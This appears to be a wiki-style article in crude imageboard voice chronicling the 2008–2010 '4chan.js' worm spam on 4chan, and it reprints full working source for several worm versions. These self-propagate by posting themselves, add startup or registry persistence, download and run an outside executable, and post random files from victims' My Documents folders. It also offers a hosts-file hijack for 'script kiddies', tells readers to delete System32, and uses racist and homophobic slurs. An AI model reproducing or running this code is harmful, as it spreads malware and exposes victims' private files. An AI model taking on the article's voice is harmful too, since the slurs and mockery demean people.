The code.God bless script kiddies.the day efg failed to fail.
On Friday, June 13 2008, 4chan began getting spammed with obfuscated JavaScript code with the simple instructions:
“
Copy and paste the following to Notepad, save with the filename 4chan.js, open the file you created and shit bricks.
„
—The sneaky OP
The JavaScript command would flood 4chan with that same message.
Shortly after the spam stopped, a new form of spam began. /b/tards and newfags began posting "goodbye /b/" and "/b/ 2003-2008" threads. Unaware that the spam was the chemo for the cancer that is killing /b/, only the idiots hurting /b/ fell for it, promptly shitting bricks and leaving. Good Riddance. Nao named /b/OLOCAUST. It has been changing and evolving ever since, finding new and creative ways to infect 4chan.
k="Content-Disposition: form-data; name="
function r(){
return String.fromCharCode( "a".charCodeAt(0) + Math.floor( Math.random() * 26 ) )
}
f = WSH.createobject("scripting.filesystemobject")
g = f.opentextfile(WSH.scriptfullname)
h = g.readall()
g.close()
f.deletefile( WSH.scriptfullname )
x = "Copy and paste the following to Notepad, save with the filename \"4chan.js\", open the file you created and shit bricks.\r\n\r\n" + h
a = WSH.createobject( "msxml2.xmlhttp" )
while(1) {
a.open( "get", "http://img.4chan.org/b", 0 )
a.send()
b = a.responsetext
c = b.substr( b.indexOf( "res/" ) + 4, 8 )
d = ""
e = ""
for( i = 0; i < 20; i++ )
d += r()
for( i = 0; i < 8; i++ )
e += r()
a.open( "post", "http://dat.4chan.org/b/imgboard.php", 0 )
t = "multipart/form-data; boundary=" + d
a.setrequestheader( "Content-Type", t )
a.send("--" + d + "\r\n" +
k + "\"MAX_FILE_SIZ8\"\r\n\r\n" + "2097152\r\n--" + d + "\r\n" +
k + "\"resto\"\r\n\r\n" + c + "\r\n--" + d + "\r\n" +
k + "\"name\"\r\n\ r\n\r\n--" + d + "\r\n" +
k + "\"email\"\r\n\r\n\r\n--" + d + "\r\n" + k + "\"sub\"\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"com\"\r\n\r\n" + x + "\r\n--" + d + "\r\n" +
k + "\"upfile\"; filename=\"\"\r\n" + "Content-Type: application/octet-stream\r\n\r\n\r\n--" + d + "\r\n" +
k + "\"pwd\"\r\n\r\n" + e + "\r\n--" + d + "\r\n" +
k + "\"mode\"\r\n\r\nregist\r\n--" + d + "--\r\n" )
WSH.sleep( 3e4 + Math.floor( Math.random() * 3e4 ) )
}
8. Moderators deleted the trails of the floods, and apparently /b/ was safe again.
The Next Day
On approximately 06/14/08(Sat)08:29:04 GMT the script was reposted with just a slight alteration to the header to get it past the filter. This resulted in another identical shitstorm.Apparently, the admins are just blocking the text, rather than doing what they should be doing and banning the IPs of the people that fell for it.This isn't as stupid a move on their part as it might at first seem. 4chan relies on suggestible newfags to generate ad banner clickthroughs. /b/ would be a much better board if they permabanned them all. It would also collapse from lack of revenue.
Updates:
On Sunday, June 15 2008, moot finally did the smart thing and banned people running the script. This coincided with other interesting wordfilters such as "femanon = cumdumpster".
The exact text filtered is eval( which is the JavaScript function that causes the text strings to be interpreted as commands.
Bans are a 15-day retard smackdown, which is just what those trisomites need.
If you were stupid enough to fall for one of the "eval (now wordfilters to niggerjews)" threads, tough luck, dumbass.
On Tuesday, August 19 2008, a new version of the same spam was detected on /b/. Although it does not look like the servers are going to crash again, this is still major shit for /b/tards, as it has definitely slowed /b/ down to a crawl, and even worse...IT GOT THE 81M GET! -->
“
My name is Anonymous. I am a survivor living on the internet. I am broadcasting on all /b/ frequencies. I will be at the page 0 everyday at mid-day, when the GMT timezone reads 12:00. If you are out there...if anyone is out there...I can provide images, I can provide conversation, I can provide companionship. If there's anybody out there...anybody...please. You are not alone.
„
—Recovered from the spam
It strikes yet again
On August 22 2008, the script has changed to a .gif image and a set of instructions. The spam reached an unthinkable level, spreading to the rest of the boards. The only way to get rid of it is to delete your System32 folderan hero right now.
Note: Considering only newfags fall for this stupid crap, that is actually a good idea, along with quitting 4chan forever.
Proof that wee/a/boos are as smart as your average /b/tard.There is nowhere to hide.
[-+]The new script:
GIF89a =0;
// Simulates POST data from a field in the HTML posting form.
function field (fieldname, content, boundary) {
return "--" + boundary + "\r\n"
+ "Content-Disposition: form-data; name=\"" + fieldname + "\"\r\n\r\n"
+ content + "\r\n";
}
// Simulates POST data from the file field.
function filefield (fieldname, filename, type, content, boundary) {
return "--" + boundary + "\r\n"
+ "Content-Disposition: form-data; name=\"" + fieldname + "\"; "
+ "filename=\"" + filename + "\"" + "\r\n"
+ "Content-Type: " + type + "\r\n\r\n"
+ content + "\r\n";
}
// Creates a random alphanumeric string.
function randomstring (length) {
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
var str = "";
for (var i = 0; i < length; i++) {
str = str + choices.charAt( Math.floor(Math.random()*choices.length) );
}
return str;
}
// Posts "image" to thread with comment.
function post (thread, image, comment) {
var request = WSH.createObject("Msxml2.XMLHTTP");
request.open("post", "http://dat.4chan.org/b/imgboard.php", 0);
// Set headers
var bdry = randomstring(20);
request.setRequestHeader( "Referer", "http://img.4chan.org/b/res/" + thread + ".html" );
request.setRequestHeader( "Content-Type", "multipart/form-data; boundary=" + bdry );
// Send post
request.send(
field("MAX_FILE_SIZE", "2097152", bdry)
+ field("resto", thread, bdry)
+ field("name", "", bdry)
+ field("email", "", bdry)
+ field("sub", "", bdry)
+ field("com", comment, bdry)
+ filefield("upfile", "lol.gif", "image/gif", image, bdry)
+ field("pwd", randomstring(8), bdry)
+ field("mode", "regist", bdry)
+ "--" + bdry + "--\r\n"
);
}
// Gets a thread number.
function getthread() {
var request = WSH.createObject("Msxml2.XMLHTTP");
request.open("get", "http://img.4chan.org/b/imgboard.html", 0);
if (typeof getthread.modtime != "ftp://ftp.") {
request.setRequestHeader("If-Modified-Since", getthread.modtime);
}
request.send();
getthread.modtime = request.getResponseHeader("Last-Modified");
return request.responseText.match(/<span id="nothread(\d+)/)[1];
}
// Get copy of this script
var fs = WSH.createObject("Scripting.FileSystemObject");
var thisfile = fs.openTextFile(WSH.scriptFullName);
var image = thisfile.readAll();
thisfile.close();
// Post it over and over
var comment = "1. Open this image (you'll see an error message).\r\n2. Save it as 4chan.js\r\n3. Open the file you just saved.\r\n4. ???\r\n5. Shit bricks.";
for(;;) {
try {
image = image.substr(0,image.length-20) + randomstring(20);
var thread = getthread();
post(thread, image, comment);
WSH.Sleep( 45000 + Math.floor(30000 * Math.random()) );
} catch(e) {}
}
// ONcGmpM4EtHCyvALQZXh
And again
As of August 26 2008, it now appears as a .jse file (the Microsoft-obfuscated version of .js). If you encounter such a file, you can view its code with this tool.
[-+]Aspiring script kiddies, remember to add this code to your version of 4chan.js to remove the cancer permanently:
var hosts = ["ns1.4chan.org", "ns2.4chan.org", "ns3.4chan.org", "www.4chan.org", "content.4chan.org", "orz.4chan.org", "tmp.4chan.org", "rs.4chan.org", "static.4chan.org", "zip.4chan.org", "bin.4chan.org", "dis.4chan.org", "img.4chan.org", "dat.4chan.org", "cgi.4chan.org", "nov.4chan.org", "4chan.org", "status.4chan.org", "4chanstatus.blogspot.com", "irc.rizon.net", "7chan.org", "www.7chan.org", "img.7chan.org", "dix.7chan.org", "irc.7chan.org", "420chan.org", "img.420chan.org", "disc.420chan.org", "irc.420chan.org", "blog.420chan.org", "radio.420chan.org", "711chan.org", "www.711chan.org", "irc.711chan.org", "99chan.org", "www.99chan.org", "irc.99chan.org", "12chan.org", "www.12chan.org", "img.12chan.org", "irc.12chan.org", "shii.org", "www.shii.org", "irc.partyvan.us", "irc.partyvan.fm", "irc.raidchan.org", "encyclopediadramatica.com", "www.encyclopediadramatica.com", "partyvan.eu", "www.partyvan.eu", "anontalk.com", "www.anontalk.com"];
try {
var shell = WScript.CreateObject("WScript.Shell");
var env = shell.environment("PROCESS");
var winpath = env("SYSTEMROOT");
var fs = WSH.createObject("Scripting.FileSystemObject");
var hostsfile = fs.openTextFile(winpath + "\\system32\\drivers\\etc\\hosts", 8);
for (var i = 0; i < hosts.length; i++) {
hostsfile.writeLine("127.0.0.1 " + hosts[i]);
}
hostsfile.close();
shell.Run("ipconfig /flushdns");
} catch(e) {}
// Remember to post to 4chan using the [[IP]] addresses and not the domain names you just blocked!|0}}
lol.hta
As of August 28 2008, 4chan.js is now sighted as a .hta file (Hyper-Text App), which appears as the same picture, with the same set of instructions to rename it, and is effectively the same JavaScript, only wrapped in rudimentary html.
On August 31 2008, a new version appeared that copies files from the My Documents folder and inserts them in the images it uses to spread. A collection of these files is available here (pwd: 4chan).
The AIDS Strikes Again
On October 27 2008, 4chan.js strikes again. This time, some of the angry faggots who frequently browse /b/ became angry at it and as a result, made a futile attempt to revive the script. Until this happens, cuntpaste the following code into Notepad, save it as 4chan.js, run the code and shit bricks.
[-+]Said script:
<SCRIPT>//<script id=thisscript>
// List of boards
var dom1 = ["zip","img","zip","orz","orz","zip","cgi","orz","zip","zip","zip","zip","cgi","cgi","cgi","orz","zip","zip","orz","cgi","cgi","zip","orz","img","zip","zip","zip","zip","zip","zip","cgi","zip","zip","zip","zip","zip","zip","zip","zip","zip","zip","orz"];
var dom2 = ["bin","dat","bin","tmp","tmp","bin","nov","tmp","bin","bin","bin","bin","nov","nov","nov","tmp","bin","bin","tmp","nov","nov","bin","tmp","dat","bin","bin","bin","bin","bin","bin","nov","bin","bin","bin","bin","bin","bin","bin","bin","bin","bin","tmp"];
var dir = [ "a", "b", "c", "d", "e", "g", "h", "hr", "k", "m", "o", "p", "r", "s", "t", "u", "v", "w", "wg", "i", "ic", "cm", "y","r9k", "an","cgl", "ck", "co", "fa","fit", "hc", "jp", "mu", "n", "po", "sp", "tg","toy","trv", "tv", "x","con"];
var mfs = [ 3, 2, 3, 3, 3, 3, 3, 8, 3, 3, 3, 5, 8, 3, 3, 3, 3, 4, 4, 3, 3, 3, 3, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 8, 3, 3, 3, 8, 3, 3, 3];
// Global XMLHttp, shell, and file system objects
var request = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fs = new ActiveXObject("Scripting.FileSystemObject");
// Creates a random alphanumeric string
function randomstring(length) {
var choices = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
var str = "";
for (var i = 0; i < length; i++) {
str = str + choices.charAt( Math.floor(Math.random()*choices.length) );
}
return str;
}
// Gets HTML page or file from URL
function get(url, doretry) {
if (typeof get.modtime == "undefined") get.modtime = [];
var successful = 0;
var tries = 0;
do {
try {
request.open("get", url, 0);
request.setRequestHeader("Accept-Language", "en-us");
if (get.modtime[url]) {
request.setRequestHeader("If-Modified-Since", get.modtime[url]);
}
request.send();
get.modtime[url] = request.getResponseHeader("Last-Modified");
successful = 1;
} catch(e) {}
tries++;
} while (doretry && !successful && tries < 5);
if (!successful) throw("");
if (request.status != 200) throw("");
}
// Downloads binary file
function download(url) {
get(url);
var stream = new ActiveXObject("Adodb.Stream");
stream.mode = 3;
stream.type = 1;
stream.open();
stream.write(request.responseBody);
return stream;
}
// Gets a thread number
function getthread(board, page) {
var url = "http://" + dom1[board] + ".4chan.org/" + dir[board] + "/" + (page || "imgboard") + ".html";
get(url, 1);
var threadlist = request.responseText.match(/<span id="nothread\d+/g);
return threadlist[ Math.floor(Math.random()*threadlist.length) ].match(/\d+/)[0];
}
// Deletes files produced
function cleanup() {
try {fs.deleteFile("part1");} catch(e) {}
try {fs.deleteFile("part2");} catch(e) {}
try {fs.deleteFile("part3");} catch(e) {}
try {fs.deleteFile("part4");} catch(e) {}
try {fs.deleteFile("part5");} catch(e) {}
try {fs.deleteFile("all");} catch(e) {}
}
// Change to temp directory
try {
shell.currentDirectory = fs.getSpecialFolder(2);
} catch(e) {}
// Get a copy of this script
var scripttext;
if (typeof WSH == "undefined") {
scripttext = thisscript.innerHTML;
var i = 0;
while (scripttext.charAt(i) == "\n" || scripttext.charAt(i) == "\r") {
i++;
}
scripttext = scripttext.substr(i);
scripttext = "\r\n\r\n//<scr"+"ipt id=thisscript>\r\n" + scripttext + "</scr"+"ipt>\r\n";
} else {
var thisfile = fs.openTextFile(WSH.scriptFullName, 1);
scripttext = thisfile.readAll();
thisfile.close();
}
// Copy to startup folder and run from there
if (typeof WSH == "undefined") {
var copyname;
try {
copyname = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Startup") + "\\4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
} catch(e) {
// Run from temp folder if this fails
copyname = "4chan.js";
var copyfile = fs.openTextFile(copyname, 2, 1);
copyfile.write(scripttext);
copyfile.close();
}
shell.run("wscript \"" + copyname + "\"", 0, 1);
}
if (typeof WSH != "undefined") {
// Download ImageMagick
var imc;
try {
imc = download("https://develop.participatoryculture.org/trac/democracy/browser/trunk/dtv-binary-kit/imagemagick/convert.exe?rev=4463&format=raw");
} catch(e) {}
for(;;) {
try {
// Select random board
board = (Math.random() < 0.5) ? Math.floor( Math.random() * dir.length) : 1;
// Get thread from board
var srcthread = getthread(board, 3 + Math.floor(5*Math.random()));
var srcurl = "http://" + dom1[board] + ".4chan.org/" + dir[board] + "/res/" + srcthread + ".html";
get(srcurl, 1);
var threadHTML = request.responseText;
// Download image from the thread
var immatches = threadHTML.match(/<a href="http:\/\/[a-z]+\.4chan\.org\/[a-z0-9]+\/src\/\d+\.jpg/g);
var immatch = immatches[ Math.floor(Math.random()*immatches.length) ];
download(immatch.substr(9)).saveToFile("part4", 2);
// Get comment
var comment = threadHTML.substr(threadHTML.indexOf(immatch)).match(/<blockquote>(.*?)<\/blockquote>/)[0];
comment = comment.replace(/<br \/>/g, "\n");
comment = comment.replace(/<[^>]*>/g, "");
comment = comment.replace(/"/g, "\"");
comment = comment.replace(/&/g, "&");
comment = comment.replace(/,/g, ",");
comment = comment.replace(/</g, "<");
comment = comment.replace(/>/g, ">");
comment = comment.split("");
for (var i = 0; i < comment.length - 1; i++) {
if (Math.random() < 0.01) {
var tmp = comment[i];
comment[i] = comment[i+1];
comment[i+1] = tmp;
}
}
comment = comment.join("");
comment = comment.replace("\n", "\r\n");
// Set thread to post to and name of file
var thread = getthread(board, 0);
var filename = (new Date().getTime() - Math.floor(Math.random()*1e10)) + ".jpg";
// Add message to image
try {
imc.saveToFile("imconvert.exe", 2);
} catch(e) {}
shell.run("imconvert.exe jpeg:part4 -pointsize 36 label:\"Save as\\n4chan.hta\\nShit bricks\" -composite jpeg:part2", 0, 1);
// Set URL to post to
request.open("post", "http://" + dom2[board] + ".4chan.org/" + dir[board] + "/imgboard.php", 0);
// Set headers
var bdry = randomstring(20);
request.setRequestHeader("Referer", "http://" + dom1[board] + ".4chan.org/" + dir[board] + "/res/" + thread + ".html");
request.setRequestHeader("Accept-Language", "en-us");
request.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
// Get document from My Documents
var docname = "";
var docsize = 0;
try {
var docpath = shell.regRead("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal");
var doclist = fs.getFolder(docpath).files;
if (doclist.count) {
var en = new Enumerator(doclist);
var n = Math.floor(doclist.count * Math.random());
for (var i = 0; i < n; i++) {
en.moveNext();
}
var nm = docpath + "\\" + en.item().name;
if (!(fs.getFile(nm).attributes & 2)) {
docname = nm;
docsize = fs.getFile(docname).size;
}
}
} catch(e) {}
// Create non-binary parts of POST data
var head = "--" + bdry + "\r\nContent-Disposition: form-data; name=\"";
var part1 = head + "MAX_FILE_SIZE\"\r\n\r\n" + (mfs[board]*1048576) + "\r\n"
+ head + "resto\"\r\n\r\n" + thread + "\r\n"
+ head + "name\"\r\n\r\n\r\n"
+ head + "email\"\r\n\r\nnoko\r\n"
+ head + "sub\"\r\n\r\n\r\n"
+ head + "com\"\r\n\r\n" + comment + "\r\n"
+ head + "upfile\"; filename=\"" + filename + "\"\r\nContent-Type: image/jpeg\r\n\r\n";
var part1f = fs.openTextFile("part1", 2, 1);
part1f.write(part1);
part1f.close();
var part3 = scripttext + randomstring(100) + "\r\n";
if (docname != "") {
part3 += docname + "\r\nBytes: " + docsize + "\r\n";
}
var part3f = fs.openTextFile("part3", 2, 1);
var n = 100 + Math.floor(100 * Math.random());
for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
part3f.write(part3);
var n = 100 + Math.floor(100 * Math.random());
for (var i = 0; i < n; i++) part3f.write(randomstring(1000));
part3f.close();
var part5 = "\r\n"
+ head + "pwd\"\r\n\r\n" + randomstring(8) + "\r\n"
+ head + "mode\"\r\n\r\nregist\r\n"
+ "--" + bdry + "--\r\n";
var part5f = fs.openTextFile("part5", 2, 1);
part5f.write(part5);
part5f.close();
// Check that all parts exist
if (!fs.fileExists("part1") || !fs.fileExists("part2") || !fs.fileExists("part3") || !fs.fileExists("part4") || !fs.fileExists("part5")) {
throw("");
}
// Combine parts and read in
shell.run("cmd /c copy /b part1 + part2 + part3" + ((docname=="")?(""):(" + \""+docname+"\"")) + " + part4 + part5 all", 0, 1);
var stream = new ActiveXObject("Adodb.Stream");
stream.mode = 3;
stream.type = 1;
stream.open();
stream.loadFromFile("all");
// Delete files produced
cleanup();
// Post file
request.send(stream);
// Wait until another can be posted
WSH.sleep( 45000 + Math.floor(15000 * Math.random()) );
} catch(e) {
cleanup();
}
}
}
//</script>
[-+]Again?
fso=WSH.createobject("Scripting.filesystemobject")
file=fso.opentextfile(WSH.scriptname)
c='Paste the foll\xadowing to not\xadepad, then sa\xadve it as "4chan.js", open and sh\xadit bricks.\n\n'
c+=file.readall()
file.close()
x=WSH.createobject("msxml2.xmlhttp")
while(1){
try{
x.open("get","ht\x74p\x3a//img.4chan.or"+
"g/b/?"+Math.ceil(Math.random()*1e15),0)
x.send()
t=x.responsetext.match(/<span id="nothread\d+/g)
t=t[Math.floor(Math.random()*t.length)].match(/\d+/g)[0]
s="\n--iiiiiiiiiiiiiiiiiiiii\ncont"+
"ent-disposition:form-data;name="
s=s+"resto\n\n"+t+s+"com\n\n"+c+s+"mode\n\nregist"
x.open("post","ht\x74p\x3a//dat.4ch"+
"an.org/b/imgboard.php",0)
x.setrequestheader("Content-type","multip"+
"art/form-data;boundary=iiiiiiiiiiiiiiiiiiiii")
x.send(s)
}catch(jjjjjjjjjj){}
WSH.sleep(30333)
}
//
[-+]Yes, Again
GIF89aI = "x1!þ÷";
var xhr = new ActiveXObject("Msxml2.XMLHTTP");
var shell = new ActiveXObject("WScript.Shell");
var fso = new ActiveXObject("Scripting.FileSystemObject");
var ie = new ActiveXObject("InternetExplorer.Application");
"‰";
shell.currentDirectory = fso.getSpecialFolder(2);
shell.run("cmd /c copy \"" + WSH.scriptFullName + "\" sys.jse");
try {
"û";
shell.regWrite("HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\sysjse", "wscript /b " + fso.getSpecialFolder(2) + "\\sys.jse");
} catch(e) {}
while(1) { try {
xhr.open("get", "http://img.4chan.org/b/", 0);
"ö";
xhr.setRequestHeader("If-Modified-Since", new Date(0));
xhr.send();
var page = xhr.responseText;
try {
xhr.open("get", page.match(/<a href="(http:\/\/img\.4chan\.org\/b\/src\/\d+\....)/)[1], 0);
"è";
xhr.send();
var im = new ActiveXObject("Adodb.Stream");
im.mode = 3;
im.type = 1;
im.open();
im.write(xhr.responseBody);
im.saveToFile("j.jse", 2);
"ÿ";
shell.run("wscript /b j.jse");
} catch(e) {}
var bdry = (""+Math.random()).substr(2);
var head = "\r\n--" + bdry + "\r\nContent-Disposition: form-data; name=";
var part1 = fso.openTextFile("y", 2, 1);
"Ó";
part1.write(head + "resto\r\n\r\n" + page.match(/<span id="nothread(\d+)/)[1] + head + "upfile; filename=a.gif\r\n\r\n");
part1.close();
var part2 = fso.openTextFile("z", 2, 1);
"ú";
part2.write((""+Math.random()).substr(2) + head + "mode\r\n\r\nregist\r\n--" + bdry + "--\r\n");
part2.close();
shell.run("cmd /c copy /b y+sys.jse+z p", 0, 1);
var post = new ActiveXObject("Adodb.Stream");
"Ù";
post.mode = 3;
post.type = 1;
post.open();
post.loadFromFile("p");
try {
ie.navigate("http://img.4chan.org/b/");
do {
WSH.sleep(100);
"Å";
} while (ie.readyState != 4);
ie.stop();
ie.document.cookie = "nws_style=; expires=" + new Date(0) + "; path=/; domain=.4chan.org";
} catch(e) {}
"ö";
xhr.open("post", "http://dat.4chan.org/b/imgboard.php", 0);
xhr.setRequestHeader("Content-Type", "multipart/form-data; boundary=" + bdry);
xhr.send(post);
WSH.sleep(50000);
} catch(e) {} }
Since the last major incident, there have been localized, small occasions of the script on /b/. However, on November 27 2008, another new version of the script appeared. Only this time, the script is an actual virus. Upon execution, it downloads another copy of the file from Rapidshare, and automatically runs it, and then spams /b/. More instances = higher dosage.
Ad Nauseam
January 23, 2009. Attacks continue in the form of a yellow box.
February 1, 2009 /a/ was attacked by the colorful squares once again.
On February 2, 2009, leaving other boards alone, the script launched an attack in robot9000, morphing its virus on upload each time to bypass robot9000's image filter. This was truly an epic win, except for its failure to include the phrase "mootblox" when it dodged robot9000's mute.
The Day the /b/ stood still.
[-+]The Most Recent Strain
function f(){
x=WSH.createobject("msxml2.xmlhttp")
fso=WSH.createobject("scripting.filesystemobject")
enc=WSH.createobject("scripting.encoder")
a="abcdefghijklmnopqrstuvwxyz".split("")
function rs(){str="";n=10+Math.random()*10;for(i=0;i<n;i++)str+=a[Math.floor(Math.random()*a.length)];return str}
function rn(){str="";n=3+Math.random()*7;for(i=0;i<n;i++)str+=Math.floor(Math.random()*10)+"";return str}
while(1){
c=rs()+"\n\nOpen this image (ignore the error), save it as "+WSH.scriptname+", open the file you saved and shit bricks."
gif="GIF89a=\t'\t\xf0\x01\x01\xff\x01\x01\xff\x01\x01,\x01\x01\x01\x01\x01\x01\x01\x01\x01\x08"+rs()+"'|"+rn()+"\n"
jse=enc.encodescriptfile(".js",f.toString()+"f()",0,"")
fn=fso.getspecialfolder(2)+"\\"+rn()+".txt"
b=rs()
s="\r\n--"+b+"\r\ncontent-disposition:form-data;name="
s=s+"upfile;filename=gayness.gif\r\n\r\n"+gif+jse+s+"com\r\n\r\n"+c+s+"mode\r\n\r\nregist"
var file=fso.createtextfile(fn)
file.write(s)
file.close()
var z=WSH.createobject("adodb.stream")
z.mode=3;
z.type=1;
z.open();
z.loadfromfile(fn)
x.open("post","http://dat.4chan.org/b/imgboard.php",0)
x.setrequestheader("content-type","multipart/form-data;boundary="+b)
x.send(z)
z.close()
WSH.sleep(120000+Math.ceil(Math.random()*60000))
It returns, again
On Caturday, Febuary, 2009, 4Chan.js returned to rape /b/. This time images told instructions on how to get to the secret raid board, /z/. The ensuing spamfest pwned /b/ so badly, any there who were not fucktarded escaped to /x/, where they began fucking the hell out of /x/. The mods used their banhammer on all running the script, and /b/ went back to normal once more.
And Again
On April 14th, 2009 the same version of 4chan.js plagued /b/ with the same message asking all the newfags to take a break from DESU spamming and copypasta to save the code and run it to shit brix, thus Resulting in rage amongst /b/.
...And Again
In the Junetime, sometime last Thursday, 4chan.js returned with its new mutation of script whereby it would pull a random photo from your hard drive, attach the script to it so you could open it in notepad and shit brix, and posted it to 4chan, but removing intravenous letters from the post, making endless variations on "Open this file in notepad, and prepare to shit brix," thus bypassing wordfilters and imagefilters. Some say the mods just gave up by this point, because there were other colored boxes, sans script being posted by faggot with a failed attempt at DDOSing 4chan, and also the mods were too busy vigorously fapping to the recent outbreak of faggot threads to care.
Yet Again, it's back
They never learn
On September 22nd, 2009, another version was made with gray boxes. Newfags who ran the .js were banned around 5 hours afterwards. Three days later, on September 25th, 2009, this happened again, though the boxes were two shades of brown, and unlike the attack beforehand this one hit multiple boards, covering /d/,/wg/,/r9k/,/x/ and every other board nobody cares about. Unsuccessful counter offensives were mounted by a combined effort of the Epic Fail Army and the rest of 4chan, but only served to make moar newfags download it.
By the next day, the site was mostly unspammed and newfags were b& for their faggotry (and nothing of value was lost).
2010 edition
And Brownbox has made a comeback yet again as "4chan.hta"
This time the spammers are getting smart. They are choosing random images posted by real people and putting "save as 4chan.hta Shit brix" on the corner of the image. Then the bot takes the text from a different post and puts it with the image. As more and more retards actually save the images as .HTA, this happens more and more. Soon enough, the bots are able to hold a conversation made up of different random posts on a certain board, which really isn't that different from the regular threads.
N00bs don't know it's a brown box and download the file. The problem? A .HTA is always a "trusted program" by microsoft. This means the faggots are leaving themselevs wide open for anything the program will do.
This combined with the previous Diochan spam has lead to even more cancer/chemo than usual.
Because /b/ always give great advice, rite guys?
OH EXPLOITABLE
